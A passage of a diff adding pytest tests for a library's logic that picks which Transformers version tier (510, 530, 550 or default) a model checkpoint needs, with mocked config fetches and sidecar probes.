test_picks_stronger_tier(self): + assert _higher_tier("default", "510") == "510" + assert _higher_tier("530", "550") == "550" + assert _higher_tier("510", "default") == "510" + assert _higher_tier("default", "default") == "default" + + # --------------------------------------------------------------------------- # get_transformers_tier — tier detection # --------------------------------------------------------------------------- @@ -438,6 +868,43 @@ class TestGetTransformersTier: assert get_transformers_tier(str(tmp_path)) == "510" + def test_dense_nemotron_h_config_json_returns_510(self, tmp_path: Path): + """Local dense NemotronH checkpoint → 510 (MLP layers need >= 5.10).""" + cfg = { + "model_type": "nemotron_h", + "hybrid_override_pattern": "M-M-M*-M-", + } + (tmp_path / "config.json").write_text(json.dumps(cfg)) + # A v5 tokenizer would otherwise route this to 530; 510 must win. + (tmp_path / "tokenizer_config.json").write_text( + json.dumps({"tokenizer_class": "TokenizersBackend"}) + ) + + with patch("urllib.request.urlopen") as mock_urlopen: + assert get_transformers_tier(str(tmp_path)) == "510" + mock_urlopen.assert_not_called() + + def test_dense_nemotron_h_remote_config_returns_510(self): + """Remote dense NemotronH (HF id) → 510 via config.json fetch, not 530.""" + + class _Response: + def __enter__(self): + return self + + def __exit__(self, exc_type, exc, tb): + return False + + def read(self): + return json.dumps( + { + "model_type": "nemotron_h", + "hybrid_override_pattern": "M-M-M*-M-", + } + ).encode() + + with patch("urllib.request.urlopen", return_value = _Response()): + assert get_transformers_tier("unsloth/NVIDIA-Nemotron-3-Nano-4B") == "510" + def test_local_config_json_short_circuits_path_substrings(self, tmp_path: Path): """Local config.json should prevent false matches from parent directory names.""" model_dir = tmp_path / "gemma-4-12b-experiment" / "llama-checkpoint" @@ -608,6 +1075,442 @@ class TestGetTransformersTier: assert needs_transformers_5("meta-llama/Llama-3-8B") is False +def _proc(returncode, stderr = ""): + from types import SimpleNamespace + return SimpleNamespace(returncode = returncode, stdout = "", stderr = stderr) + + +class TestProbeTier: + """_probe_tier resolves the tier by parsing config in each sidecar and escalating.""" + + def setup_method(self): + _probe_tier_cache.clear() + + def _patch_common(self, monkeypatch): + for fn in ( + "_ensure_venv_t5_530_exists", + "_ensure_venv_t5_550_exists", + "_ensure_venv_t5_510_exists", + ): + monkeypatch.setattr(f"utils.transformers_version.{fn}", lambda: True) + monkeypatch.delenv("UNSLOTH_DISABLE_TIER_PROBE", raising = False) + + def _venv_dirs(self): + import utils.transformers_version as tv + return [tv._VENV_T5_530_DIR, tv._VENV_T5_550_DIR, tv._VENV_T5_510_DIR] + + def test_escalates_to_first_parsing_tier(self, monkeypatch): + self._patch_common(monkeypatch) + seen = [] + results = iter([_proc(1, "KeyError: '-'"), _proc(1, "KeyError: '-'"), _proc(0)]) + + def fake_run(cmd, **k): + seen.append(cmd[3]) # target_dir + return next(results) + + monkeypatch.setattr("utils.transformers_version.subprocess.run", fake_run) + assert _probe_tier("org/dense-nemotron", None, "x") == "510" + assert seen == self._venv_dirs() # escalated 530 -> 550 -> 510 + + def test_first_success_stops_escalation(self, monkeypatch): + self._patch_common(monkeypatch) + calls = [] + monkeypatch.setattr( + "utils.transformers_version.subprocess.run", + lambda cmd, **k: calls.append(cmd[3]) or _proc(0), + ) + assert _probe_tier("org/m", None, "x") == "530" + assert len(calls) == 1 + + def test_middle_tier_parses(self, monkeypatch): + self._patch_common(monkeypatch) + results = iter([_proc(1, "ValueError: bad"), _proc(0)]) + monkeypatch.setattr( + "utils.transformers_version.subprocess.run", lambda cmd, **k: next(results) + ) + assert _probe_tier("org/m", None, "x") == "550" + + def test_nothing_parses_stays_530_and_caches(self, monkeypatch): + # All tiers probed, none parse -> a remote-code model that loads via its own code; + # keep 530 (never jump to 510). Conclusive, so cached by model_name. + self._patch_common(monkeypatch) + monkeypatch.setattr( + "utils.transformers_version.subprocess.run", + lambda cmd, **k: _proc(1, "KeyError: '-'"), + ) + assert _probe_tier("org/m", None, "x") == "530" + assert _probe_tier_cache["org/m"] == "530" + + def test_partial_sidecars_no_parse_is_530_uncached(self, monkeypatch): + # 510 sidecar missing and 530/550 fail to parse -> environment is incomplete, so we + # cannot conclude; return 530 uncached so it is retried once 510 is available. + monkeypatch.delenv("UNSLOTH_DISABLE_TIER_PROBE", raising = False) + for fn in ("_ensure_venv_t5_530_exists", "_ensure_venv_t5_550_exists"): + monkeypatch.setattr(f"utils.transformers_version.{fn}", lambda: True) + monkeypatch.setattr("utils.transformers_version._ensure_venv_t5_510_exists", lambda: False) + monkeypatch.setattr( + "utils.transformers_version.subprocess.run", + lambda cmd, **k: _proc(1, "KeyError: '-'"), + ) + assert _probe_tier("org/m", None, "x") == "530" + assert "org/m" not in _probe_tier_cache + + def test_success_not_cached_when_lower_tier_skipped(self, monkeypatch): + # 530 sidecar unavailable but 550 parses: return 550 (best effort now) but do NOT + # cache it, since once 530 is installed it may be the lowest valid tier. + monkeypatch.delenv("UNSLOTH_DISABLE_TIER_PROBE", raising = False) + monkeypatch.setattr("utils.transformers_version._ensure_venv_t5_530_exists", lambda: False) + for fn in ("_ensure_venv_t5_550_exists", "_ensure_venv_t5_510_exists"): + monkeypatch.setattr(f"utils.transformers_version.{fn}", lambda: True) + monkeypatch.setattr("utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0)) + assert _probe_tier("org/m", None, "x") == "550" + assert "org/m" not in _probe_tier_cache # skipped a lower tier -> not pinned + + def test_cache_hit_skips_subprocess(self, monkeypatch): + self._patch_common(monkeypatch) + monkeypatch.setattr("utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0)) + assert _probe_tier("org/m", None, "x") == "530" + + def boom(cmd, **k): + raise AssertionError("should not re-probe a cached model_name") + + monkeypatch.setattr("utils.transformers_version.subprocess.run", boom) + assert _probe_tier("org/m", None, "x") == "530" + + def test_transient_failure_is_530_and_uncached(self, monkeypatch): + self._patch_common(monkeypatch) + monkeypatch.setattr( + "utils.transformers_version.subprocess.run", + lambda cmd, **k: _proc(1, "ConnectionError: Max retries exceeded"), + ) + assert _probe_tier("org/m", None, "x") == "530" + assert "org/m" not in _probe_tier_cache # retried next load + + def test_timeout_is_530_and_uncached(self, monkeypatch): + import subprocess as _sp + + self._patch_common(monkeypatch) + + def timeout(cmd, **k): + raise _sp.TimeoutExpired(cmd, 60) + + monkeypatch.setattr("utils.transformers_version.subprocess.run", timeout) + assert _probe_tier("org/m", None, "x") == "530" + assert "org/m" not in _probe_tier_cache + + def test_all_venvs_missing_is_530_no_spawn(self, monkeypatch): + for fn in ( + "_ensure_venv_t5_530_exists", + "_ensure_venv_t5_550_exists", + "_ensure_venv_t5_510_exists", + ): + monkeypatch.setattr(f"utils.transformers_version.{fn}", lambda: False) + + def boom(cmd, **k): + raise AssertionError("no sidecar available; must not spawn") + + monkeypatch.setattr("utils.transformers_version.subprocess.run", boom) + assert _probe_tier("org/m", None, "x") == "530" + assert "org/m" not in _probe_tier_cache # nothing probed -> uncached + + def test_probe_does_not_import_hub(self, monkeypatch): + # The probe must not import huggingface_hub: that would land before the sidecar is on + # sys.path (activation never purges), pinning the default-env hub. So no in-process sha. + self._patch_common(monkeypatch) + monkeypatch.setattr("utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0)) + sys.modules.pop("huggingface_hub", None) + _probe_tier("org/m", None, "x") + assert "huggingface_hub" not in sys.modules + + def test_disable_flag_skips_probe(self, monkeypatch): + monkeypatch.setenv("UNSLOTH_DISABLE_TIER_PROBE", "1") + + def boom(cmd, **k): + raise AssertionError("probe disabled; must not spawn") + + monkeypatch.setattr("utils.transformers_version.subprocess.run", boom) + assert _probe_tier("org/m", None, "x") == "530" + + def test_get_tier_uses_probe_for_remote_tokenizer_signal(self, monkeypatch): + # tokenizer says 5.x but no architecture/substring match -> probe (not a 530 guess). + monkeypatch.setattr( + "utils.transformers_version._check_config_needs_510", lambda m, t = None: False + ) + monkeypatch.setattr( + "utils.transformers_version._check_config_needs_550", lambda m, t = None: False + ) + monkeypatch.setattr( + "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: True + ) + monkeypatch.setattr("utils.transformers_version._probe_tier", lambda m, t, reason: "510") + assert get_transformers_tier("org/unknown-5x-arch") == "510" + + def test_stderr_is_transient(self): + assert _stderr_is_transient("ConnectionError: x") is True + assert _stderr_is_transient("GatedRepoError: need token") is True + assert _stderr_is_transient("KeyError: '-'") is False + assert _stderr_is_transient("ValueError: bad pattern") is False + + def test_get_tier_threads_token_to_checks(self, monkeypatch): + # A gated/private model: the token must reach the config/tokenizer checks (and the + # probe), otherwise the authed-only signal is missed and it falls to default 4.x. + seen = {} + monkeypatch.setattr( + "utils.transformers_version._check_config_needs_510", + lambda m, t = None: seen.update({"510": t}) or False, + ) + monkeypatch.setattr( + "utils.transformers_version._check_config_needs_550", + lambda m, t = None: seen.update({"550": t}) or False, + ) + monkeypatch.setattr( + "utils.transformers_version._check_tokenizer_config_needs_v5", + lambda m, t = None: seen.update({"tok": t}) or True, + ) + monkeypatch.setattr( + "utils.transformers_version._probe_tier", + lambda m, t, reason: seen.update({"probe": t}) or "510", + ) + assert get_transformers_tier("org/gated-5x", "hf_abc") == "510" + assert seen == {"510": "hf_abc", "550": "hf_abc", "tok": "hf_abc", "probe": "hf_abc"} + + def test_activate_threads_token_to_tier(self, monkeypatch): + # activate_transformers_for_subprocess must forward hf_token to tier detection, or + # the gated-model checks above run unauthenticated and the fix is unreachable. + seen = {} + monkeypatch.setattr("utils.transformers_version._resolve_base_model", lambda m: m) + monkeypatch.setattr( + "utils.transformers_version.get_transformers_tier", + lambda m, t = None: seen.update({"model": m, "token": t}) or "default", + ) + activate_transformers_for_subprocess("org/gated", "hf_xyz") + assert seen == {"model": "org/gated", "token": "hf_xyz"} + + def test_local_checkpoint_reprobes_after_config_change(self, monkeypatch, tmp_path): + # A local checkpoint overwritten in place must re-probe: the cache key folds in the + # config.json signature, so a different config does not serve the stale tier. + self._patch_common(monkeypatch) + cfg = tmp_path / "config.json" + cfg.write_text(json.dumps({"model_type": "a"})) + local = str(tmp_path) + calls = [] + monkeypatch.setattr( + "utils.transformers_version.subprocess.run", + lambda cmd, **k: calls.append(1) or _proc(0), + ) + assert _probe_tier(local, None, "x") == "530" + assert _probe_tier(local, None, "x") == "530" # cache hit, no re-spawn + assert len(calls) == 1 + cfg.write_text(json.dumps({"model_type": "a_longer_value_changing_the_size"})) + assert _probe_tier(local, None, "x") == "530" + assert len(calls) == 2 # signature changed -> re-probed + + def test_probe_child_enables_implicit_token(self, monkeypatch): + # With a token, the probe child must clear an inherited HF_HUB_DISABLE_IMPLICIT_TOKEN=1 + # so HF_TOKEN authenticates the gated config fetch instead of 401ing to 530. + self._patch_common(monkeypatch) + monkeypatch.setenv("HF_HUB_DISABLE_IMPLICIT_TOKEN", "1") + captured = {} + + def fake_run(cmd, **k): + captured.update(k.get("env") or {}) + return _proc(0) + + monkeypatch.setattr("utils.transformers_version.subprocess.run", fake_run) + assert _probe_tier("org/gated", "secret-token", "x") == "530" + assert captured.get("HF_TOKEN") == "secret-token" + assert captured.get("HF_HUB_DISABLE_IMPLICIT_TOKEN") == "0" + + +class TestProbeGating: + """probe=False suppresses sidecar probes (the log-only needs_transformers_5 path); a + config saved by transformers 5.x is probed default-first so a new 5.x-only arch is + caught without mis-routing a 4.57.x-loadable model onto a sidecar.""" + + def setup_method(self): + _probe_tier_cache.clear() + _config_json_cache.clear() + _config_needs_510_cache.clear() + _config_needs_550_cache.clear() + _tokenizer_class_cache.clear() + + def _patch_venvs(self, monkeypatch): + for fn in ( + "_ensure_venv_t5_530_exists", + "_ensure_venv_t5_550_exists", + "_ensure_venv_t5_510_exists", + ): + monkeypatch.setattr(f"utils.transformers_version.{fn}", lambda: True) + monkeypatch.delenv("UNSLOTH_DISABLE_TIER_PROBE", raising = False) + + def _patch_checks_to_tokenizer(self, monkeypatch): + monkeypatch.setattr( + "utils.transformers_version._check_config_needs_510", lambda m, t = None: False + ) + monkeypatch.setattr( + "utils.transformers_version._check_config_needs_550", lambda m, t = None: False + ) + monkeypatch.setattr( + "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: True + ) + + # ---- needs_transformers_5 / probe=False must not spawn probes -------------- + + def test_needs_transformers_5_does_not_spawn_probe(self, monkeypatch): + self._patch_checks_to_tokenizer(monkeypatch) + + def boom(cmd, **k): + raise AssertionError("needs_transformers_5 must not spawn a probe") + + monkeypatch.setattr("utils.transformers_version.subprocess.run", boom) + # Still correctly reports 5.x from the tokenizer signal, just without probing. + assert needs_transformers_5("org/unknown-5x") is True + + def test_probe_false_returns_530_for_tokenizer_signal(self, monkeypatch): + self._patch_checks_to_tokenizer(monkeypatch) + + def boom(cmd, **k): + raise AssertionError("probe=False must not spawn a probe") + + monkeypatch.setattr("utils.transformers_version.subprocess.run", boom) + assert get_transformers_tier("org/unknown-5x", probe = False) == "530" + + # ---- version-field probe is default-first (no mis-routing of 4.x models) ---- + + def test_version_field_probe_stays_default_when_default_parses(self, monkeypatch): + self._patch_venvs(monkeypatch) + monkeypatch.setattr( + "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: False + ) + _config_json_cache[("org/new", None)] = { + "model_type": "brandnew", + "transformers_version": "5.0.0", + } + seen = [] + monkeypatch.setattr( + "utils.transformers_version.subprocess.run", + lambda cmd, **k: seen.append(cmd[3]) or _proc(0), + ) + assert get_transformers_tier("org/new") == "default" + assert seen == [""] # probed the ambient default tier first, it parsed -> stayed default + + def test_version_field_probe_escalates_when_default_fails(self, monkeypatch): + import utils.transformers_version as tv + + self._patch_venvs(monkeypatch) + monkeypatch.setattr( + "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: False + ) + _config_json_cache[("org/new", None)] = { + "model_type": "brandnew", + "transformers_version": "5.6.0", + } + results = iter([_proc(1, "KeyError: 'x'"), _proc(1, "KeyError: 'x'"), _proc(0)]) + seen = [] + monkeypatch.setattr( + "utils.transformers_version.subprocess.run", + lambda cmd, **k: seen.append(cmd[3]) or next(results), + ) + assert get_transformers_tier("org/new") == "550" + assert seen == ["", tv._VENV_T5_530_DIR, tv._VENV_T5_550_DIR] + + def test_ordinary_4x_config_does_not_probe(self, monkeypatch): + self._patch_venvs(monkeypatch) + monkeypatch.setattr( + "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: False + ) + _config_json_cache[("org/llama", None)] = { + "model_type": "llama", + "transformers_version": "4.57.0", + } + + def boom(cmd, **k): + raise AssertionError("a 4.x-saved config must not trigger a probe") + + monkeypatch.setattr("utils.transformers_version.subprocess.run", boom) + assert get_transformers_tier("org/llama") == "default" + + def test_needs_transformers_5_true_for_version_field_only(self, monkeypatch): + # A 5.x-saved standard-tokenizer model must report as 5.x (for vision routing) + # without spawning a probe. + monkeypatch.setattr( + "utils.transformers_version._check_config_needs_510", lambda m, t = None: False + ) + monkeypatch.setattr( + "utils.transformers_version._check_config_needs_550", lambda m, t = None: False + ) + monkeypatch.setattr( + "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: False + ) + _config_json_cache[("org/new", None)] = { + "model_type": "brandnew", + "transformers_version": "5.2.0", + } + + def boom(cmd, **k): + raise AssertionError("needs_transformers_5 must not spawn a probe") + + monkeypatch.setattr("utils.transformers_version.subprocess.run", boom) + assert needs_transformers_5("org/new") is True + + def test_default_first_result_not_reused_for_tokenizer_path(self, monkeypatch, tmp_path): + # A default-first probe can cache "default"; a later tokenizer/known-5.x call + # (floor=530) must re-probe, not reuse that "default". + self._patch_venvs(monkeypatch) + (tmp_path / "config.json").write_text( + json.dumps({"model_type": "brandnew", "transformers_version": "5.0.0"}) + ) + local = str(tmp_path) + monkeypatch.setattr("utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0)) + assert ( + _probe_tier(local, None, "version", include_default = True, floor = "default") == "default" + ) + seen = [] + monkeypatch.setattr( + "utils.transformers_version.subprocess.run", + lambda cmd, **k: seen.append(cmd[3]) or _proc(0), + ) + # Tokenizer/known-5.x mode (floor=530): must re-probe and never reuse "default". + assert _probe_tier(local, None, "tokenizer needs 5.x") == "530" + assert seen, "tokenizer path reused the cached default result instead of re-probing" + + +class TestLocalCheckpointFilesAppear: + """A local checkpoint dir inspected before its files exist must not cache the miss or hit + the network, so files written later in the same process are still read (in-progress + checkpoints).""" + + def setup_method(self): + _tokenizer_class_cache.clear() + _config_json_cache.clear() + + def test_tokenizer_config_appearing_later_is_read(self, tmp_path: Path, monkeypatch): + local = str(tmp_path) + + def boom(*a, **k): + raise AssertionError("a local checkpoint must not be fetched from the Hub") + + monkeypatch.setattr("urllib.request.urlopen", boom) + # Before the file exists: not 5.x, no network, and the miss must not be pinned. + assert _check_tokenizer_config_needs_v5(local) is False + # The file appears with a 5.x-only tokenizer -> the next call must read it. + (tmp_path / "tokenizer_config.json").write_text( + json.dumps({"tokenizer_class": "TokenizersBackend"}) + ) + assert _check_tokenizer_config_needs_v5(local) is True + + def test_config_json_appearing_later_is_read(self, tmp_path: Path, monkeypatch): + local = str(tmp_path) + + def boom(*a, **k): + raise AssertionError("a local checkpoint must not be fetched from the Hub") + + monkeypatch.setattr("urllib.request.urlopen", boom) + assert _load_config_json(local) is None + (tmp_path / "config.json").write_text(json.dumps({"model_type": "gemma4"})) + assert _load_config_json(local) == {"model_type": "gemma4"} + + # --------------------------------------------------------------------------- # activate_transformers_for_subprocess — issue #6103 # The early log must make clear it only prepends to sys.path; the real @@ -686,6 +1589,71 @@ class TestActivateLoggingClarity: "sys.path" in text or "path only" in text ), f"early activation log does not clarify it is path-prepend only: {text!r}" + def test_activate_prefers_local_checkpoint_tier_over_resolved_base(self, caplog, tmp_path): + # Base resolves to an offline/private id (default tier); the local config.json wins. + (tmp_path / "config.json").write_text(json.dumps({"model_type": "llama"})) + local = str(tmp_path) + caplog.set_level(logging.INFO) + snap = self._snapshot_env() + tiers = {local: "510", "private/base": "default"} + try: + with ( + patch( + "utils.transformers_version._resolve_base_model", + return_value = "private/base", + ), + patch( + "utils.transformers_version.get_transformers_tier", + side_effect = lambda m, t = None: tiers[m], + ), + patch( + "utils.transformers_version._ensure_venv_t5_510_exists", + return_value = True, + ), + ): + activate_transformers_for_subprocess(local) + finally: + self._restore_env(snap) + + text = " ".join(r.getMessage() for r in caplog.records).lower() + assert "5.10.2" in text, f"local checkpoint tier did not win: {text!r}" + + def test_activate_adapter_without_config_skips_path_name_recheck(self, caplog, tmp_path): + # LoRA adapter in a dir named 'gemma-4' (base resolves elsewhere): the resolved + # base drives the tier; the path name must not re-check or upgrade it. + adapter = tmp_path / "gemma-4-experiment" / "llama-lora" + adapter.mkdir(parents = True) + (adapter / "adapter_config.json").write_text( + json.dumps({"base_model_name_or_path": "meta/llama"}) + ) + local = str(adapter) + caplog.set_level(logging.INFO) + snap = self._snapshot_env() + seen = [] + + def fake_tier(m, t = None): + seen.append(m) + return "550" if "gemma-4" in m else "default" + + try: + with ( + patch( + "utils.transformers_version._resolve_base_model", + return_value = "meta/llama", + ), + patch( + "utils.transformers_version.get_transformers_tier", + side_effect = fake_tier, + ), + ): + activate_transformers_for_subprocess(local) + finally: + self._restore_env(snap) + + assert seen == ["meta/llama"], f"adapter path was re-checked via substrings: {seen!r}" + text = " ".join(r.getMessage() for r in caplog.records).lower() + assert "default transformers" in text, f"adapter wrongly upgraded: {text!r}" + # --------------------------------------------------------------------------- # _venv_dir_is_valid — issue #6103 @@ -789,3 +1757,796 @@ class TestEnsureVenvDirProgressLogging: assert ok is True mock_install.assert_not_called() assert "Installing" not in " ".join(r.getMessage() for r in caplog.records) + + +# --------------------------------------------------------------------------- +# _tier_from_name — shared name-based detection helper +# --------------------------------------------------------------------------- + + +class TestTierFromName: + """Unit tests for _tier_from_name(), which backs both the fast substring + path and the config _name_or_path fallback.""" + + def test_returns_none_for_unknown(self): + assert _tier_from_name("meta-llama/Llama-3-8B") is None + + def test_gemma4_returns_550(self): + tier, _ = _tier_from_name("google/gemma-4-E2B-it") + assert tier == "550" + + def test_gemma4_assistant_returns_510(self): + tier, match = _tier_from_name("google/gemma-4-E2B-it-assistant") + assert tier == "510" + assert "assistant" in match + + def test_gemma4_12b_returns_510(self): + tier, _ = _tier_from_name("unsloth/gemma-4-12b-it") + assert tier == "510" + + def test_qwen35_returns_530(self): + tier, match = _tier_from_name("Qwen/Qwen3.5-7B") + assert tier == "530" + assert "qwen3.5" in match + + def test_ministral3_returns_530(self): + # The existing substring "ministral-3-" matches the 2512 naming style. + tier, _ = _tier_from_name("mistralai/Ministral-3-8B-Instruct-2512") + assert tier == "530" + + def test_qwen3_moe_substring_returns_530(self): + tier, _ = _tier_from_name("Qwen/Qwen3-30B-A3B-Instruct-2507") + assert tier == "530" + + def test_510_beats_550(self): + """gemma-4-12b matches 510 (checked first), not 550.""" + tier, _ = _tier_from_name("google/gemma-4-12b-it") + assert tier == "510" + + def test_550_beats_530(self): + """gemma-4 matches 550, not 530.""" + tier, _ = _tier_from_name("gemma-4-model") + assert tier == "550" + + +# --------------------------------------------------------------------------- +# Local-folder tier detection via config.json +# +# When a local checkpoint's config.json architecture/model_type matches a known +# sidecar set, that's the authoritative answer. When it doesn't match (unknown +# or future family), the HF model ID from _name_or_path / model_name in the +# config is run through the same name-based rules so renamed folders are still +# routed correctly without introducing path false-positives. +# --------------------------------------------------------------------------- + + +class TestLocalConfig530Tier: + def setup_method(self): + _config_json_cache.clear() + _tokenizer_class_cache.clear() + _config_needs_530_cache.clear() + + # --- config-set matches ------------------------------------------------- + + def test_config_needs_530_qwen3_5_model_type(self): + assert _config_needs_530({"model_type": "qwen3_5"}) is True + + def test_config_needs_530_qwen3_5_conditional_generation(self): + assert _config_needs_530({"architectures": ["Qwen3_5ForConditionalGeneration"]}) is True + + def test_config_needs_530_qwen3_moe(self): + assert _config_needs_530({"model_type": "qwen3_moe"}) is True + + def test_config_needs_530_glm4_moe_lite(self): + assert _config_needs_530({"model_type": "glm4_moe_lite"}) is True + + def test_config_needs_530_lfm2_vl(self): + assert _config_needs_530({"model_type": "lfm2_vl"}) is True + + def test_config_needs_530_qwen3_5_moe(self): + """Qwen3.5 MoE (Qwen3.5-35B-A3B / 122B-A10B) uses qwen3_5_moe ids.""" + assert ( + _config_needs_530( + { + "model_type": "qwen3_5_moe", + "architectures": ["Qwen3_5MoeForConditionalGeneration"], + } + ) + is True + ) + + def test_config_needs_530_qwen3_next(self): + assert ( + _config_needs_530( + {"model_type": "qwen3_next", "architectures": ["Qwen3NextForCausalLM"]} + ) + is True + ) + + def test_config_needs_530_qwen3_5_text_towers(self): + """Text-tower configs (architectures may be stripped) still need 5.3.0.""" + assert _config_needs_530({"model_type": "qwen3_5_text"}) is True + assert _config_needs_530({"model_type": "qwen3_5_moe_text"}) is True + + def test_config_needs_530_plain_qwen3_is_false(self): + """Regular Qwen3 (non-MoE, non-3.5) must not be promoted to 5.3.0.""" + assert _config_needs_530({"model_type": "qwen3"}) is False + + def test_tier_local_qwen35_config_selects_530(self, tmp_path: Path): + """Reported case: a local Qwen3.5 folder routes to 530 via config.json.""" + d = tmp_path / "Qwen3.5-2B" + d.mkdir() + (d / "config.json").write_text(json.dumps({"model_type": "qwen3_5"})) + assert get_transformers_tier(str(d)) == "530" + + def test_tier_local_qwen3_moe_config_selects_530(self, tmp_path: Path): + """Local Qwen3 MoE checkpoint routes to 530 via config.json.""" + d = tmp_path / "my-qwen3-moe" + d.mkdir() + (d / "config.json").write_text( + json.dumps({"model_type": "qwen3_moe", "architectures": ["Qwen3MoeForCausalLM"]}) + ) + assert get_transformers_tier(str(d)) == "530" + + def test_tier_local_glm4_moe_lite_config_selects_530(self, tmp_path: Path): + """Local GLM-4.7-Flash checkpoint routes to 530 via config.json.""" + d = tmp_path / "my-glm-model" + d.mkdir() + (d / "config.json").write_text( + json.dumps({"model_type": "glm4_moe_lite", "architectures": ["Glm4MoeLiteForCausalLM"]}) + ) + assert get_transformers_tier(str(d)) == "530" + + def test_tier_local_lfm2_vl_config_selects_530(self, tmp_path: Path): + """Local LFM2.5-VL checkpoint routes to 530 via config.json.""" + d = tmp_path / "my-liquid-model" + d.mkdir() + (d / "config.json").write_text( + json.dumps( + {"model_type": "lfm2_vl", "architectures": ["Lfm2VlForConditionalGeneration"]} + ) + ) + assert get_transformers_tier(str(d)) == "530" + + def test_tier_local_qwen35_moe_config_selects_530(self, tmp_path: Path): + """A renamed Qwen3.5 MoE folder (no name hint) routes to 530 via config.""" + d = tmp_path / "my-custom-moe" + d.mkdir() + (d / "config.json").write_text( + json.dumps( + { + "model_type": "qwen3_5_moe", + "architectures": ["Qwen3_5MoeForConditionalGeneration"], + } + ) + ) + assert get_transformers_tier(str(d)) == "530" + + # --- Qwen3.6 reuses Qwen3.5 config ids but routes to 550 by name --------- + + def test_local_qwen36_config_keeps_550_name_tier(self, tmp_path: Path): + """Qwen3.6 config carries qwen3_5 ids; a higher-tier name match wins.""" + d = tmp_path / "Qwen3.6-27B" + d.mkdir() + (d / "config.json").write_text( + json.dumps( + {"model_type": "qwen3_5", "architectures": ["Qwen3_5ForConditionalGeneration"]} + ) + ) + assert get_transformers_tier(str(d)) == "550" + + def test_local_qwen36_moe_via_name_or_path_keeps_550(self, tmp_path: Path): + """Renamed Qwen3.6 MoE folder: _name_or_path carries the 5.5 name signal.""" + d = tmp_path / "renamed-q36-moe" + d.mkdir() + (d / "config.json").write_text( + json.dumps( + { + "model_type": "qwen3_5_moe", + "architectures": ["Qwen3_5MoeForConditionalGeneration"], + "_name_or_path": "Qwen/Qwen3.6-35B-A3B", + } + ) + ) + assert get_transformers_tier(str(d)) == "550" + + def test_stale_absolute_name_or_path_not_promoted(self, tmp_path: Path): + """A non-5.x checkpoint with a stale absolute _name_or_path isn't name-matched.""" + d = tmp_path / "my-llama-ckpt" + d.mkdir() + (d / "config.json").write_text( + json.dumps({"model_type": "llama", "_name_or_path": "/old/run/qwen3.5-source"}) + ) + with patch( + "utils.transformers_version._check_tokenizer_config_needs_v5", return_value = False + ): + assert get_transformers_tier(str(d)) == "default" + + # --- _name_or_path fallback --------------------------------------------- + + def test_renamed_folder_falls_back_to_hf_id_in_config(self, tmp_path: Path): + """A renamed local folder with an unrecognised model_type but a known + HF ID in _name_or_path still routes to the correct tier.""" + d = tmp_path / "my-custom-name" + d.mkdir() + # Simulate a future/unknown model_type; the HF ID carries the tier signal. + (d / "config.json").write_text( + json.dumps( + { + "model_type": "future_unknown_type", + "_name_or_path": "Qwen/Qwen3.5-7B", + } + ) + ) + assert get_transformers_tier(str(d)) == "530" + + def test_hf_id_fallback_respects_550_tier(self, tmp_path: Path): + """_name_or_path pointing to a Gemma-4 HF ID routes to 550.""" + d = tmp_path / "renamed-gemma" + d.mkdir() + (d / "config.json").write_text( + json.dumps( + { + "model_type": "future_unknown_type", + "_name_or_path": "google/gemma-4-E2B-it", + } + ) + ) + assert get_transformers_tier(str(d)) == "550" + + def test_hf_id_fallback_skipped_when_same_as_path(self, tmp_path: Path): + """If _name_or_path equals the model path, skip the name fallback to + avoid false positives from self-referencing configs.""" + d = tmp_path / "qwen3.5-experiment" + d.mkdir() + # _name_or_path is the local path itself (e.g. saved via save_pretrained) + (d / "config.json").write_text( + json.dumps( + { + "model_type": "llama", + "_name_or_path": str(d), + } + ) + ) + with patch( + "utils.transformers_version._check_tokenizer_config_needs_v5", return_value = False + ): + # "qwen3.5" is in the path but config says llama and _name_or_path + # is self-referencing — must not be promoted to 530. + assert get_transformers_tier(str(d)) == "default" + + def test_hf_id_fallback_not_triggered_when_name_or_path_is_absolute_self(self, tmp_path: Path): + """_name_or_path == absolute path of the same checkpoint while model_name + is a relative path: the two strings differ, but both point to the same + directory. The absolute path must not be scanned for tier substrings.""" + d = tmp_path / "qwen3.5-experiment" + d.mkdir() + (d / "config.json").write_text( + json.dumps( + { + "model_type": "llama", + # absolute path — textually different from a relative model_name + "_name_or_path": str(d), + } + ) + ) + with patch( + "utils.transformers_version._check_tokenizer_config_needs_v5", return_value = False + ): + # Even though str(d) contains "qwen3.5", the local-dir branch recurses + # into config checks on the resolved path, which returns default. + assert get_transformers_tier(str(d)) == "default" + + # --- false-positive guard ----------------------------------------------- + + def test_tier_local_plain_model_still_default(self, tmp_path: Path): + """A local non-5.x checkpoint returns default; the directory-name + false-positive guard is preserved.""" + d = tmp_path / "checkpoint-1000" + d.mkdir() + (d / "config.json").write_text( + json.dumps({"architectures": ["LlamaForCausalLM"], "model_type": "llama"}) + ) + with patch( + "utils.transformers_version._check_tokenizer_config_needs_v5", + return_value = False, + ): + assert get_transformers_tier(str(d)) == "default" + + +# --------------------------------------------------------------------------- +# _check_config_needs_530 — slow HF-ID path (network stub) +# --------------------------------------------------------------------------- + + +class TestCheckConfigNeeds530: + """_check_config_needs_530 is used in the slow HF-ID fallback path for + private or renamed repos whose names don't contain a 5.3 substring.""" + + def setup_method(self): + _config_json_cache.clear() + _config_needs_530_cache.clear() + + def test_returns_true_for_qwen3_5_model_type(self): + with patch( + "utils.transformers_version._load_config_json", + return_value = {"model_type": "qwen3_5"}, + ): + assert _check_config_needs_530("some-private/qwen3.5-variant") is True + + def test_returns_true_for_qwen3_moe_architecture(self): + with patch( + "utils.transformers_version._load_config_json", + return_value = {"architectures": ["Qwen3MoeForCausalLM"]}, + ): + assert _check_config_needs_530("org/private-moe-model") is True + + def test_returns_false_for_llama(self): + with patch( + "utils.transformers_version._load_config_json", + return_value = {"model_type": "llama", "architectures": ["LlamaForCausalLM"]}, + ): + assert _check_config_needs_530("meta-llama/Llama-3-8B") is False + + def test_returns_false_when_config_unavailable(self): + with patch("utils.transformers_version._load_config_json", return_value = None): + assert _check_config_needs_530("org/unreachable-model") is False + + def test_result_is_cached(self, tmp_path: Path): + """A definitive (local) read is cached by (model, token), mirroring 510/550.""" + cfg = {"model_type": "qwen3_5"} 